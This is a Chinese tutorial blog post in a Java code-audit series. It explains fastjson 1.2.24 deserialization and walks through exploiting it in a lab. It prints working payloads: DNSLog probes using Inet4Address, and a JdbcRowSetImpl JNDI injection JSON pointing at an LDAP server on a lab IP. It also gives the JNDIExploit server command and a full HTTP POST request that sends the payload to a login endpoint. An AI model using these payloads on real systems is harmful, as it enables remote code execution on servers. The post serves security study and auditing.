Java代码审计16之fastjson反序列化漏洞(1)

1、简介fastjson

Fastjson 是⼀个 Java 库,可以将 Java 对象转换为 JSON 格式,当然它也可以将 JSON 字符串转换为Java 对象。

Fastjson 可以操作任何 Java 对象,即使是⼀些预先存在的没有源码的对象。

Fastjson 源码地址:https://github.com/alibaba/fastjson

Fastjson 中⽂ Wiki:https://github.com/alibaba/fastjson/wiki/Quick-Start-CN

添加pom.xml依赖,

        <dependency>
            <groupId>com.alibaba</groupId>
            <artifactId>fastjson</artifactId>
            <version>1.2.24</version>
        </dependency>

2、fastjson的使用

简单了解将对象转化为json,以及从json还原对象

2.1、将类序列化为字符串

主要就是 JSON.toJSONString 函数的使用

该函数可以仅仅传入一个参数,也可以传入两个参数,

序列化生成的字符串略有区别,

user.java

package com.example.demo2;

public class user {

    private int age;
    private String username;
    private String password;

    // 默认无参数构造函数
    public user() {
        System.out.println("无参构造方法被调用");
    }

    public user(int age, String username, String password) {
        System.out.println("有参构造方法被调用");
        this.age = age;
        this.username = username;
        this.password = password;
    }

    public int getAge() {

        System.out.println("get函数被调用");
        return age;
    }

    public void setAge(int age) {
        System.out.println("set函数被调用");
        this.age = age;
    }

    public String getUsername() {
        return username;
    }

    public void setUsername(String username) {
        this.username = username;
    }

    public String getPassword() {
        return password;
    }

    public void setPassword(String password) {
        this.password = password;
    }


    @Override
    public String toString() {
        System.out.println("toString函数被调用。。。");
        return "user{" +
                "age=" + age +
                ", username='" + username + '\'' +
                ", password='" + password + '\'' +
                '}' ;
    }



}

main.java

package com.example.demo2;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;


public class main {
    public static void main(String[] args) throws Exception {

        user user = new user(12, "xbb", "123456");

        // 序列化⽅式
        String json1 = JSON.toJSONString(user);

        //生成的JSON字符串中包含类名,以便在反序列化时能够恢复正确的类类型
        String json2 = JSON.toJSONString(user, SerializerFeature.WriteClassName);

        System.out.println(json1);
        System.out.println(json2);
        System.out.println("json1的变量类型:" + json1.getClass().getSimpleName());



}

输出如下,可以看到类以及被序列化为json类型的字符串,

有参构造方法被调用
{"age":12,"password":"123456","username":"xbb"}
{"@type":"com.example.demo2.user","age":12,"password":"123456","username":"xbb"}
json1的变量类型:String

2.2、将字符串还原为对象

设计两个函数,

	JSON.parse

	JSON.parseObject

main.java

package com.example.demo2;


import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;


public class main {
    public static void main(String[] args) throws Exception {

        user user = new user(12, "xbb", "123456");

        // 序列化⽅式
        String json1 = JSON.toJSONString(user);

        //生成的JSON字符串中包含类名,以便在反序列化时能够恢复正确的类类型
        String json2 = JSON.toJSONString(user, SerializerFeature.WriteClassName);

//        System.out.println(json1);
//        System.out.println(json2);
//        System.out.println("json1的变量类型:" + json1.getClass().getSimpleName());


        System.out.println();


        //使用JSON.parse函数从字符串还原为对象
        System.out.println(JSON.parse(json1));
        //输出还原成什么类型;JSONObject
        System.out.println(JSON.parse(json1).getClass().getSimpleName());

        System.out.println(JSON.parseObject(json1));
        //输出还原成什么类型;JSONObject
        System.out.println(JSON.parseObject(json1).getClass().getSimpleName());

        System.out.println();
        //使用JSON.parseObject 函数从字符串还原为对象
        System.out.println(JSON.parse(json2));
        System.out.println();
        System.out.println(JSON.parseObject(json2));


}

对于“  JSON.toJSONString(user) ”这种方式序列化的字符串,
	
	两种还原函数,得到的结果一致。

对于“ JSON.toJSONString(user, SerializerFeature.WriteClassName) ” 这种方式序列化得到的字符串,
	
	两个函数还原得到的结果不一致,且还原和上面的字符串还原的过程也不一致,

	对于json2字符串,使用JSON.parseObject函数还原的过程,
	
		调用无参构造方法
		调用了set函数
		调用了get函数
		输出结果和json1还原一致

	对于json1字符串,使用JSON.parseObject函数还原过程,
		调用无参构造方法
		调用set函数
		调用toString函数
		输出结果和以上3个不同

有参构造方法被调用
get函数被调用
get函数被调用

{"password":"123456","age":12,"username":"xbb"}
JSONObject
{"password":"123456","age":12,"username":"xbb"}
JSONObject

无参构造方法被调用
set函数被调用
toString函数被调用。。。
user{age=12, username='xbb', password='123456'}

无参构造方法被调用
set函数被调用
get函数被调用
{"password":"123456","age":12,"username":"xbb"}

继续增加JSON.parseObject函数的参数,

        System.out.println(JSON.parseObject(json1,user.class)); 
        System.out.println(JSON.parseObject(json2,user.class)); 

输出结果一样,

无参构造方法被调用
set函数被调用
toString函数被调用。。。
user{age=12, username='xbb', password='123456'}

无参构造方法被调用
set函数被调用
toString函数被调用。。。
user{age=12, username='xbb', password='123456'}


2.3、小结以上

序列化函数

	JSON.toJSONString(对象,可选参数)

	测试可选参数为:SerializerFeature.WriteClassName

反序列化函数

	JSON.parse(字符串)


	JSON.parseObject(字符串,可选参数)

	可选参数为:指定还原对象类型,如,user.class

在这里插入图片描述

2.4、稍微扩展思路

由上面的测试,我们知道,假设反序列化的值是由用户可控的话,

假设原本的get/set/toString/无参构造方法内存在高危功能代码,

那么就会产生漏洞,因为以json2格式字符串,任何反序列化的函数都会触发set函数,

我们假设set函数的内容如下:

    public String getUsername() {return username; }

    public void setUsername(String username) {
        this.username = username;
        try {
            Runtime.getRuntime().exec("calc");
//            Runtime.getRuntime().exec(username);
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

main.java

package com.example.demo2;


import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;


public class main {
    public static void main(String[] args) throws Exception {

        String json2 = "{\"@type\":\"com.example.demo2.user\",\"age\":12,\"password\":\"123456\",\"username\":\"xxx\"}";

        System.out.println(JSON.parseObject(json2));

    }

}

运行就会弹出计算器,
在这里插入图片描述

这个弹出计算器是原代码写死的,假设我们在改动下set函数,

假设执行的命令是有反序列化得到的,则就会造成命令注入。

在这里插入图片描述

3、fastjson漏洞利⽤原理与dnslog

json字符串中带有@type

漏洞是利⽤fastjson autotype在处理json对象的时候,未对@type字段进⾏完全的安全性验证,

攻击者可以传⼊危险类,并调⽤危险类连接远程rmi主机,通过其中的恶意类执⾏代码。

攻击者通过这种⽅式可以实现远程代码执⾏漏洞的利⽤,获取服务器的敏感信息泄露,

甚⾄可以利⽤此漏洞进⼀步对服务器数据进⾏修改,增加,删除等操作,对服务器造成巨⼤的影响。
	上面是比较官方的说法,其实由上面的测试,我们也知道,

	我们假设set函数内存在高危功能点,且参数可控,则造成的危害是比较大的。

	然而,我们的user类setname函数内没有高危功能和可控参数,如何造成危害呢
其实这里答案比较明确了,既然反序列化的字符串都是可控的,

user类没有这种功能点,那Jdk自带的那么多类,总是存在这样的地方把,有
package com.example.demo2;


import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;


public class main {
    public static void main(String[] args) throws Exception {

        String json2 = "{\"@type\":\"java.net.Inet4Address\", \"val\":\"aa.8fhj7r.3lasix.dnslog.cn\"}";
        System.out.println(JSON.parse(json2));
    }

}

在这里插入图片描述

类似的JSON.parseObject也可以,虽然报错了,但是dns已经发出了请求,
        String json2 = "{\"@type\":\"java.net.Inet4Address\", \"val\":\"bb.8fhj7r.3lasix.dnslog.cn\"}";

        System.out.println(JSON.parseObject(json2));

在这里插入图片描述
小结可用poc,

String json2 = "{\"@type\":\"java.net.Inet4Address\", \"val\":\"bb.8fhj7r.3lasix.dnslog.cn\"}";

类似的还有下面这个,

String json2 = "{\"@type\":\"java.net.InetSocketAddress\"{\"address\":, \"val\":\"enst5r.cc9cve.dnslog.cn\"}\n";

4、JdbcRowSetImpl利用链

4.1、JdbcRowSetImpl的基本知识

上面我们利用jdk自带的类和函数实现了dnslog的探测,但是更多的时候目的都是rce,
今天要说的 JdbcRowSetImpl 利用链不是java的原生类,而是java标准库的类(需要导入包使用)
简单的理解,Java的标准库不是java自带的,是Java 的官方维护者(Oracle Corporation,

以前是 Sun Microsystems)提供的,因此它是官方推荐的和广泛使用的一组类和包。所以使用较广。
另外java的标准库有很多的功能,一般需要什么功能会导入具体功能的jar包。

而JdbcRowSetImpl 用于支持 JDBC 操作,因此非常常见。

4.2、利用代码复现

先启动恶意服务器,

java -jar .\JNDIExploit-1.4-SNAPSHOT.jar -i 192.168.1.25
package com.example.test;
import com.sun.rowset.JdbcRowSetImpl;

import java.sql.SQLException;

public class test2 {
    public static void main(String[] args) throws SQLException {

        JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
        jdbcRowSet.setDataSourceName("ldap://192.168.1.25:1389/Basic/Command/calc");
        jdbcRowSet.setAutoCommit(true);

    }
}

在这里插入图片描述

4.3、生成poc

这个标准库的JdbcRowSetImpl是可以触发漏洞的,那么我们参考之前的序列化后的字符串,

改造我们的poc,

在这里插入图片描述

代码和得到poc,
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.1.25:1389/Basic/Command/calc", "autoCommit":true}
package com.example.test;

import com.alibaba.fastjson.JSON;
import com.sun.rowset.JdbcRowSetImpl;

import java.sql.SQLException;

public class test2 {
    public static void main(String[] args) throws SQLException {

//        JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
//        jdbcRowSet.setDataSourceName("ldap://192.168.1.25:1389/Basic/Command/calc");
//        jdbcRowSet.setAutoCommit(true);

        String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://192.168.1.25:1389/Basic/Command/calc\", \"autoCommit\":true}";
        System.out.println(payload);
        JSON.parse(payload);


    }
}

4.4、模拟真实场景

这个是一个登录,理想的代码,

即拿到请求参数使用fastjson进行反序列化

在这里插入图片描述

所以,我们直接将传参变为poc,即可,

在这里插入图片描述

详细的请求数据包,
POST /login HTTP/1.1
Host: localhost:8080
Content-Length: 123
sec-ch-ua: "Chromium";v="95", ";Not A Brand";v="99"
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json;charset=UTF-8
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
sec-ch-ua-platform: "Windows"
Origin: http://localhost:8080
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:8080/index.jsp
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=F9AD741194B4DCAC1D5914AC33163088
Connection: close

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.1.25:1389/Basic/Command/calc", "autoCommit":true}

4.5、利用链代码分析

先看12行的代码,
	
	其实从函数的名称上就可以知道,这个函数的是给 DataSourceName 赋值的,跟一下吧
	
	跟进JdbcRowSetImpl.class,进入到setDataSourceNmame():
	
	因为初始化的时候getDataSourceNmame()为空,进入else,var变量的值就是传入的payload,

在这里插入图片描述

继续进setDataSourceName函数,这里就结束了

在这里插入图片描述

执行完最初的12行,执行13行,
	
	跟进去,判断this.conn是否为空,我们也没有给this.conn设置值,肯定是空

	进入else逻辑,执行 this.connect 函数,

在这里插入图片描述


这里直接进入else原因还是没有设置this.conn的值,

然后326行代码,lookup的参数,就是上面12行设置的 DataSourceName 的值(payload),

是可控的,而lookup()远程加载payload,就造成了JNDI注入漏洞。

在这里插入图片描述

Fastjson是一款Java语言编写的高性能JSON处理器,被广泛应用于各种Java应用程序中。然而,Fastjson存在反序列化漏洞,黑客可以利用该漏洞实现远程代码执行,因此该漏洞被广泛利用。 检测Fastjson反序列化漏洞的方法: 1. 扫描源代码,搜索是否存在Fastjson相关的反序列化代码,如果存在,则需要仔细检查反序列化的过程是否安全。 2. 使用工具进行扫描:目前市面上有很多漏洞扫描工具已经支持Fastjson反序列化漏洞的检测,例如:AWVS、Nessus、Burp Suite等。 利用Fastjson反序列化漏洞的方法: 1. 利用Fastjson反序列化漏洞执行远程命令:黑客可以构造一个恶意JSON字符串,通过Fastjson反序列化漏洞实现远程命令执行。 2. 利用Fastjson反序列化漏洞实现文件读取:黑客可以构造一个恶意JSON字符串,通过Fastjson反序列化漏洞实现文件读取操作。 3. 利用Fastjson反序列化漏洞实现反弹Shell:黑客可以构造一个恶意JSON字符串,通过Fastjson反序列化漏洞实现反弹Shell操作。 防范Fastjson反序列化漏洞的方法: 1. 更新Fastjson版本:Fastjson官方在1.2.46版本中修复了反序列化漏洞,建议使用该版本或更高版本。 2. 禁止使用Fastjson反序列化:如果应用程序中不需要使用Fastjson反序列化功能,建议禁止使用该功能,可以使用其他JSON处理器。 3. 输入验证:对所有输入进行校验和过滤,确保输入数据符合预期,避免恶意数据进入系统。 4. 序列化过滤:对敏感数据进行序列化过滤,确保敏感数据不会被序列化。 5. 安全加固:对系统进行安全加固,如限制系统权限、加强访问控制等,避免黑客利用Fastjson反序列化漏洞获取系统权限。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

划水的小白白

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值